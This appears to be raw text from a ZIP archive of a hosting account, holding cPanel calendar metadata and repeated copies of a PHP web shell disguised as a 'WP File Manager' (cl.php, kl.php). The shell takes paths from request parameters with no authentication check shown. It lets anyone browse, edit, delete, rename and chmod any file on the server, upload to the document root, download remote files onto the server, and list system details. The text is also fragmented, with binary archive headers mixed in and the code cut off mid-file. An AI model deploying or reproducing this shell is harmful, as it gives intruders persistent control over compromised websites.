$_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]z‡|BBbaka@drsupernova.com/.metadatanu„[µü¤[calendar] type VCALENDAR protected 1 description Default Calendar automatically created for your account. calendar-color #ff6c2c displayname cPanel CalDAV Calendar [addressbook] description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book protected 1 type VADDRESSBOOK PK“&{]„N9³§Ë§Ëbaka@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëbaka@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
